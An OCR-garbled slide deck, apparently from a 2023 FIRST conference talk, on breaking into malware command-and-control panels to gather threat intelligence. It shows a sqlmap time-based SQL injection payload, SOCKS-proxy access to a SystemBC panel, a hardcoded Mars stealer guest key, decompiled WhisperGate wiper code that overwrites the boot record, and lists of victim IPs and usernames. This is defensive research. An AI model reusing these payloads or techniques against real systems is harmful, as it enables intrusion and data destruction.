C&C Panel: Exploiting Time-based SQL Injection

< C 8 [v*n) A Not Secure 5.161.22.241:5000 REe® >0 0 @

Nexus Android C&C Panel

Management System Login

Jojo no Kimyou na Bouken: Ey

] GET parameter ' ' does not appear to be dynamic
] heuristic (basic) test shows that GET parameter ' ' might not be injectable
testing for SQL injection on GET parameter ' !
testing ' !
testing ' !
testing '
testing ' ,
] GET parameter ' ' does not seem to be injectable

identified the following injection point(s) with a total of 188 HTTP(s) requests:
Parameter: value (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: param=sms&value=1' AND (SELECT 4901 FROM (SELECT(SLEEP(5)))UWmS) AND 'FoMq'='FoMg&botid=f991a83c2a9f25c8de68ad597e98
a91b&method=bots.update&access=1

»:17] [INFO] the back-end DBMS is MySQL

[08:29:17] [ ] it is very important to not stress the network connection during usage of time-based payloads to prevent pot
ential disruptions

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y

back-end DBMS: MySQL >= 5.0.12 ( fork)
[08:29:25] [INFO] fetching entries of column(s) ' ' for table ' ' in database '
[e8: 251 [INFO] fetching number of column(s) ' ' entries for table ' ' in database '

5] [INFO] retrieved: 1

[0 ;& 1] [ 1 (case) time-based comparison requires reset of statistical model, please Wait.......oevviueurnenenennnnnnnn
Edons)" 1 [INFO] adjusting time delay to 1 second due to good response times
dskjfkj3?989§2j@@834 _
Successful Exploitation of SQL Injection rtheredie it
Vulnerability in C&C Panel { onteyl
i username i password
| oot | N |
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C&C Panel: Data Access and Internal Design

& & = N =
com.morganstaniey.cientmoblle.prod

@ b o=
Dash  Bots Logs  Crpto Injects Cookle Live Bot's Global's Bullder Clear logs Tutorial

Morgan Stanley

(CHOOSERLES o drag and drop e nere

SEARCH Q 3 NEW INJECT

Injects

Cookieinjects  Live injects

° Icon PackageName

o com.denizbank.mobildeniz

(] [ ] com.ingbanktr.ingmobil

o | ] com.vakifbank.mobile Num  lcon Fllename Type Country

com.aol.mobile.aolapp.

-— L - o
Successful compromise of - - 6 il
Nexus Android botnet C&C B = .
o 1 lt A A f ¢ e g = =
panel resulting significan o — - .
— information disclosure and - 2 T -
internal design - - -

& &= = O S @ ¢

Dash  Bots  Logs Crypto Injects Cookie Live Bot's Global's Builder Clear logs Tutorial com:chase sig-android

New inject

Packsge name Injects

CHASE £

com package.name

All « | cHOOSERLES ordragand drop il here

Q

NEW INJECT

Num  Icon Filename

1 0 com.chase:sig.android

Jse toke

Forgot User ID or Password?
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Exploiting Time-based SQL Injection - Demo

5.161.22.136:6699/api/? x +

A Not Secure | 5.161.22.136:6699/api/?
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C&C Vulnerable Design: SOCKS Proxy to Gain Access

~ rustscan 93.115.29.50
a4 808 BE B AR R S 6 SR [
=o} I\ N NN

Faster Nmap scanfiing with Rust.

s https://discord.gg/GF;asGy :
: https://github.com/RustScan/RustScan :

®HACK THE PLANET®

The config file is expected to be at "/Users/user/Library/Application Support/rustscan/config.toml" 4911/tcp tcpwrapped
File limit is lower than default batch size. 4189/tcp thwrapped

Consider upping with --ulimt.

May cause harm to sensitive servers 4276/tcp thwra pp8d

Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimt wi

_mmﬁm%u 4298/tcp tcpwrapped

Jpen

Open 4306/tcp tcpwrapped

Open

Open - 4308/tcp tcpwrapped

Open

Open 4314/tcp tcpwrapped

Open
Open
Open
Open
Open

Scanning the SystemBC C&C host resulted in number
of TCP ports being opened. On further analysis, it was Let’s see if we can connect to this TCP port via
discovered remote host was running proxy services. browser.

Check for TCP port 4011.

#Fin>1CON23 35t ANNUAL FIRST CONFERENCE | EMPOWERING COMMUNITIES



C&C Vulnerable Design: SOCKS Proxy to Gain Access

@ Firefox about:preferences

Testing client should be seen as an infected system in
the list of compromised systems in the C&C

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings O & https://www.whatsmyip.org

O Manual proxy configuration

HTTP Proxy[ | Home

Also use this proxy for HTTPS
HTTPS Proxy Hostname & User Agent

Your Hostname:
SOCKS Host | 93.115.29.50 e 0.220

SOCKS v4 @ SOCKS v5 Your User Agent:
Automatic proxy configuration URL Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0

For even more information, visit the More Info About You page.

No proxy for

After specifying the SOCKS5 proxy address
“03.115.29.50” on TCP port 4011, HTTP proxy was

Test browser was used to configure SOCKS5 proxy configured using the IP address of the testing client.

with IP address and TCP port 4011 obtained earlier
while scanning the C&C host.
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C&C Vulnerable Design: SOCKS Proxy to Gain Access

@ 93.115.29.50/systembc/passw X +

© A Not Secure | 93.115.29.50/systembc/password.php

RAW DATA

On accessing the C&C panel. The testing client IP
Country: address was added to the list of compromised system
Region: | v] 1n the SystemBC C&C panel.

City: |

31

ONLINE: 7 OFFLINE:

. Windows 10 - ) UPTIME: AUTH Add
93.115.29.50:4011 (1809) x64 TPG\admin.pis 182.253.29.220,Indonesia,Jakarta,Cengkareng, 12:48:32 ON/OFF DELETE LOADER comment )
P ) o 103.199.211.140,India,Andhra UPTIME: AUTH Add
93.115.20.50:4189  (1803) x64 \ WORKGROUP\CHNMCT401467D$ o ~ desh Kadiri. 515591 162:10:45 ON/OFF DELETE ~ LOADER [ -

Admin rights
Windows
. Server 2012 77.77.212.90,Bosnia and Herzegovina,Federation UPTIME: AUTH Add
93.115.29.50:4270 54 Admin GRM\VM-DEV$ of B&H,Lukavac, 132:00:55  ON/OFF  DELETE  LOADER o5 hent
rights
Windows 10, .
93.115.29.50:4208  Update 1 x64 NT AUTHORITY\SYSTEM 217.13.245.66,Sweden,, UPTIME: AUTH DELETE LOADER Add
L. 55:20:06 ON/OFF comment
Admin rights
Windows 10 .
93.115.29.50:4306  (1809) x64 PAX8\SR-DC1$ 3.84.220.210,United States, Virginia,Ashburn, 20149 9¢ NME: AUTH DELETE LOADER Add
O 29:29:35 ON/OFF comment
Admin rights
Windows 10, X
93.115.29.50:4308  Update 1 x64 GIJON\ExchangeAdmin 195.235.57.99,Spain,Asturias, Gijon,33299 ”P_T"'_"E' AUTH DELETE LOADER Add
s 05:33:39 ON/OFF comment
Admin rights
Windows 10, : .
93.115.2950:4314  Update 1 x64 WORKGROUP\ZEN-H 213.118.58.138,Belgium,West Flanders UPTIM : AUTH
g :56 ON/OFF
Admin rights ——ulimt 5000'.

This shows how scanning the remote C&C host
s and analyzing SOCKS5 proxy ports, once can

Open . .

open enumerate the list of infected systems on the
Open

Open Internet.

Open

Open

Open

Open

Jpen

Sosma

#Fin>1CON23
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C&C Vulnerable Design: S
D em 0 L @ moscowl.icu/systembe/pass

< > C 4A Not Secure | moscowl1.icl/systembc/password.php

OCKS Proxy to Gain Access:

+
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C&C: Unsecure Resources Leaking Stolen Information

% Dashboard

O 8 https://crashedff.xyz/statistics.php?region=ALL

Date  Time Country

5887

08.11.202200:02:05  § DZ
08.11.202200:06:47 mem EG
1 3 1 08.11.202200:09:49 m=m EG
08.11.202200:10:24 _= US
08.11.202200:10:57 gy ID
08.11.202200:18:33 I MX
08.11.202200:23:01 =]
08.11.202200:24:32 ® TN
08.11.202200:32:42 & PT
08.11.202200:35:47 K KR
08.11.202200:38:14 [§ IT
08.11.202200:39:26 [ AR
08.11.202200:39:49 i< GB
08.11.202200:43:47 [ AR

08.11.202200:44:34 = TW

Crash Loader C&C Panel — Exposed

IP address

105.108.70.252

197.60.220.14

154.180.22.33

136.144.35.32

125.166.13.27

187.189.198.210

103.176.19.6

102.159.56.172

82.154.131.76

180.231.150.101

151.65.216.187

190.189.5.244

212.39.178.78

186.177.210.182

59.124.122.242

Region Time sorting

AL © 01/01/1970

Username

FAFO/fAfO1

DESKTOP-0TNUTHO/Compu Tech

DESKTOP-Q5LE6PS/Mina Elsyophe 2023

MARTYSPC/Marty

SERVER1/WINDOWS

ASERET/mabp0

DESKTOP-UD632AR/FOYSAL MAHBUB

DESKTOP-HG196T3/SIWARA

REVISION-PC/Nestor Nunes

DESKTOP-NMUMG65/HIEE!

Davide-PC/Davide

BENI-050820/Benicio

MOUSSA/ASUS

DESKTOP-FVCFN90/giord

DESKTOP-FIU3DEM/User

Windows version

Windows 10 Pro

Windows 10 Pro

Windows 10 Pro

Windows 10 Pro

Windows 10 Home

Windows 10 Home Single Language

Windows 10 Education

Windows 10 Pro

Windows 10 Pro

Windows 10 Pro

Windows 7 Professional

Windows 10 Pro

Windows 8.1

Windows 10 Pro

Windows 10 Pro for Workstations

“statistics.php” Webpage

wmme | [ C

Data Dumped as zip files on the C&C host

A Dangerous | 92.255.85.78/MKtHerblz Izh164qa/

-U4-U 210U O U A RIES..

213.140.204.49 2022-04-03 12:25:31 ZCTRQ1VSO0ZUAIM .zip

86.49.230.68 2022-03-05 18:48:36 UKFKO6PZ58YM7QQ.zip

86.49.230.68 2022-03-05 18:48:37 HD2DTIM7GVAIEU .zip

86.49.230.68 2022-03-05 18:48:38 O8QISPPH4EU3EU.zip

88.101.178.235 2022-03-06 15:04:17 ZUKFK6PZ58YM7Q.zip

89.102.99.88 2022-03-24 18:14:25 GLN7YMT79RIS8QQ.zip

89.102.99.88 2022-03-25 10:33:41 2VASR168GLNYU3 zip

89.176.62.226 2022-04-08 15:27:14 PHVAISF3EKF37Q.zip

89.176.62.226 2022-04-08 15:27:32 ILNOHDBAIWTRQQQ.zip

89.176.62.226 2022-04-08 15:28:44 KXBASJECBA1VAA zip

89.176.62.226 2022-04-08 15:30:59 4WT2VKNOZMO8QL.zip

178.255.168.35 2022-04-01 08:47:40 7GDT2NOZMOZM7Y.zip

178.255.168.115 2022-03-26 15:06:28 1. X4EUSRIN7QQIM.zip

193.17.251.128 2022-03-04 07:24:41 GAWBIWT2NGVAIM .zip

195.74.76.222 2022-03-29 19:13:23 OHVA1DTOHDJEUA .zip
' 213.235.140.36 2022-03-10 13:30:55 RIWBA168GLNYM7.zip
213.235.140.36 2022-03-12 15:29:06 L.68GDBIWIL.XBIMY.zip
24.134.234.133 2022-03-19 13:15:39 F3OHLFUK6F3E3E .zip
31.18.250.18 2022-03-23 16:55:07 47Q9HL6P8YMYMY.zip
' 37.4.226.112 2022-03-03 10:20:40 3E30P8QIMOZUAI zip

37.4.226.112 2022-03-28 12:51:26 OHL68YCT00ZMYM .zip

37.58.58.248 2022-04-22 15:47:01 8805CF684V15E9.zip

37.58.58.248 2022-04-23 15:47:42 VSRR4AYWMI1IMUNS3 zip
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2022-04-03 12:25 553K
2022-03-05 18:48 294K
2022-03-05 18:48 291K
2022-03-05 18:48 294K
2022-03-06 15:04 827K
2022-03-24 18:14 672K
2022-03-25 10:33 660K
2022-04-08 15:27 731K
2022-04-08 15:27 670K
2022-04-08 15:28 692K
2022-04-08 15:30 644K
2022-04-01 08:47 1.0M
2022-03-26 15:06 1.2M
2022-03-04 07:24 621K
2022-03-29 19:13 80K
2022-03-10 13:30 671K
2022-03-12 15:29 611K
2022-03-19 13:15 959K
2022-03-23 16:55 190K
2022-03-03 10:20 449K
2022-03-28 12:51 631K
2022-04-22 15:47 136K
2022-04-23 15:47 136K




C&C: Unsecure Resources Leaking Stolen Information

—IW-I——I——

BlackGuard stores stolen data from the
ompromised machines in zipped files on the

C&C server
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C&C Panel Guest Access: Default Hardcoded Keys

jsdkea.link

@ jsdkca.link,

This jsdkca.link page can't be found

No webpage was found for the web address: http:/[jsdkca.link/guest/guest.php?

HTTP ERROR 404

@ Guest statistics - Mars
& © A Not Secure | jsdkea.link uest.| bd48( > ¢ 70 v O @ Incognito
uest dashboard - Mars

Total log Last week Last 30d Total pass

71720 . 53932 71720 1730394

y 38701 N 71720

®

Chronology Overview Country Logs

#Fin>1CON23

Mars stealer: At first, guest access was not
obtained to the C&C host. Guest access was
obtained if default key is known.

@ Settings

C @ 92.255.85.78/M}

MARS

Dashboard

Logs

Marker Rules
Grab Rules

Loader Rules

Settings

Exit

Actions column

Date column

Tag:

Enter tag

Add guest

Tag

@ Enable
@ Enable

Link

a @ Incognito

Actions

http://92.255.85.78/guest/guest.php?key=88b1bbd480dc508085f2d7019d:

Delete

© MARS Project
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Cyber Wars and Data Abuse Paradigm
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Cyber Wars and Data Abuse Paradigm

Malicious Code: System Wipers,
Ransomware, etc.

* System sabotage .
« Render data useless and ineffective
\__ J ij
\

(Data Exfiltration 3 ]

(Data Destruction ; ]

Malicious Code: Advanced
information stealers, RATS, etc.

> | « Steal Intellectual Property (IP) L

% Exfiltrate critical data )
Network Breach

. . N\
[ Threat Actor: NatlonN (Demal of Service r
state adversaries,
Cybercriminals, etc. Malicious Code: Bots, Booters, etc. ]
* Denying access to critical network services _

% Exfiltrate Critical Data )
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Data Destruction: Whisper Gate Wiper in Action

Stage 1 Infection Stage 2 Infection

Overwrite the Master Boot Record

size_t v1; // eax
wchar_t *v2; // esi
int v3; // edi

size_t v4; //
void *v5; // [e
FILE *Stream; // [es

= d‘.‘i:\:‘i-f"T:d‘l‘(fffé:'-i[z]; s L T File Wiping Code

DWORD dwDesiredAccess[3]; // [esp+4h] [ebp-10h] ¢
DWORD dwCreationDisposition; // [esp+10h] [ebp-4h]

edAccess[0]

duw al;

vl = alloca(sub_401FEQ(0x202Cu, (int)&dwCreationDisposition, (char)&dwCreationDisposition)); = (wchar_t *)malloc(2 * (v1 + 20));

sub_401990(); v3 = rand();

qmemcpy (&dwDesiredAccess[-2054], &unk_404020, ©x2000u); i ='wcsler\1(> ’ . ’ Ganae ,

2 = CreateFileW(L"\\\\.\\PhysicalDrivee", @x1000eeeeu, 3u, @, 3u, @, @); f‘j?fff‘tf(w;;pe: & t)"%", (const wchar_t *const)(v4 - 4), FileName, v3);
v2 wDesiredAccess[ - ; Stream = F

?;;::::ijge(,:g?\!) siredAccess[-2054], @x2eeu, @, 0); o mal}o:(exl%%@u);

return 0; memset(v5, 204, 0x100000u);

fwrite(v5, lu, @x10000Qu, Stream);
fclose(s )s

wrename(F e, \
free(v2);
free(vs);

dd offset aDotm
dd offset aDotx
dd offset aXlsm
dd offset aXlsb
dd offset aXlw
dd offset asc_4e©6322
dd offset aXlm
dd offset asc_406336

Display a Fake Ransom Note

alaaaa db 'AAAAA' 0

aYourHardDriveH db 'Your hard drive has been corrupted.’',@Dh,8Ah
db 'In case you want to recover all hard drives',@Dh,@Ah
db 'of your organization,',@Dh,@Ah

dd offset axXltx
dd offset axltm

dd offset aPptm

dd offset aPot

dd offset asc_4@636E
dd offset aPpsm

dd offset aPpsx

dd offset aPpam

Targeted File Types for
Corrupting Records

db 'You should pay us $1@k via bitcoin wallet',@Dh,@Ah

db '1AVNM68gj6PGPFcIuftKATadWinzg8fpfv and send message via',@Dh,@Ah
db 'tox ID 8BEDC411012A33BA34F49130DBF186993C6A32DAD8976F6ASD82C1ED23"
db '©54C@57ECEDS5496F65',8Dh,0Ah

db 'with your organization name.',@Dh,@Ah

db 'We will contact you to give further instructions.',@

dd offset aPotx

dd offset aPotm

dd offset atEdb

dd offset asc_4@63BE
dd offset a6e2

dd offset asc_4e63D2
dd offset asti

dd offset asc_4@63E6
dd offset asc_4@63F2
dd offset asc_4@62D2
dd offset aXlsm

dd offset aPptm

35" ANNUAL FIRST CONFERENCE | EMPOWERING COMMUNITIES



Data Exfiltration: Exposed Crit
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Data Exfiltration: Exposed Critical Information
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Denial-of-Service: Disrupting Communication Channels

Network Connectivity by Provider - Ukraine: 2022-03-08 to 2022-03-11 UTC ., . .
Network Connectivity by Region - Slavutych, Ukraine: 2022-02-23 to 2022-03-09 UTC

100.00%

100.00%

50.00%

CHERNOBYL BLACKOUT
9 March 2022

Connectivity (normalized)

Connectivity (normalized)

0%
3/8 00:00 3/8 12:00 3/9 00:00 3/912:00 3/10 00:00 3/1012:00 3/11 00:00

3/9
min current

min current
== Kharkiv Institute of Physics and Technology,AS35296 0% 0% Slavutych / Chernobyl,Kyiv Oblast 339 33%

Network Connectivity - Selected Providers, Ukraine: 2022-02-12 to 2022-02-15 UTC
Network Connectivity - Selected Providers, Luhansk, Ukraine: 2022-02-15 to 2022-02-17 UTC

100.00% 100.00%

Connectivity (normalized)
Connectivity (normalized)

20.00%

0%
0%

2/12 00:00 2/1212:00 2/13 00:00 2/1312:00 2/14 00:00 2/1412:00 2/15 00:00 2/1512:00
2/16 00:00 2/16 08:00 2/1616:00 2/17 00:00 2/17 08:00 2/1716:00

e == Oschadbank (Joint Stock Company State Savings Bank of Ukraine, AS60173)
== PP SKS-Pervomaysk Luhansk [peer to Vodafone, AS21497] (PP SKS-Pervomaysk, AS44798) 32%
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Conclusion

= Data 1s new currency
» Using an offensive approach to threat research help to generate threat intelligence

"  Vulnerabilities in C&C panels reveal the weaknesses that exist in the server-side software
used by the botnet (malware) operators to command and control the malicious code

running on compromised systems
* Information from C&C panels can help to build indicators of compromise (IoCs)
" Understanding the design of C&C internals helps us to gain intelligence
" Intelligence gained from the C&C panels can be used to harden security solutions

" Threat intelligence allows building threat profiles to understand the threat landscape

better

35" ANNUAL FIRST CONFERENCE | EMPOWERING COMMUNITIES



#Fik351CON23

Questions or Queries?

Thank you!



